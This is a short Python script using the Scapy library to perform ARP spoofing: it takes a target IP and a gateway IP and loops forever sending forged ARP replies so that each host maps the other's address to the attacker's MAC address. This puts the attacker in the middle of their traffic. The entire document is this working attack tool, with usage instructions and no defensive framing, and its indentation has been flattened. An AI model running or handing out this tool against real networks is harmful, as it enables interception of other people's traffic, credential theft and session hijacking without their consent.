from scapy.all import ARP, send, conf
import sys
import time
if len(sys.argv) != 3:
print("Usage: python arpspoof.py <IP_dst> <IP_gateway>")
print("Example: python arpspoof.py 192.168.1.10 192.168.1.1")
sys.exit(1)
target_ip = sys.argv[1]
gateway_ip = sys.argv[2]
attacker_mac = conf.iface.mac
print("[*] Sending fake ARP packets (Ctrl+C for stop)")
print(" Target {} now sees gateway as {}".format(target_ip, attacker_mac))
print(" Gateway {} now sees target as {}".format(gateway_ip, attacker_mac))
try:
while True:
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwsrc=attacker_mac), verbose=False)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwsrc=attacker_mac), verbose=False)
time.sleep(2)
except KeyboardInterrupt:
print("\n[*] Stopped")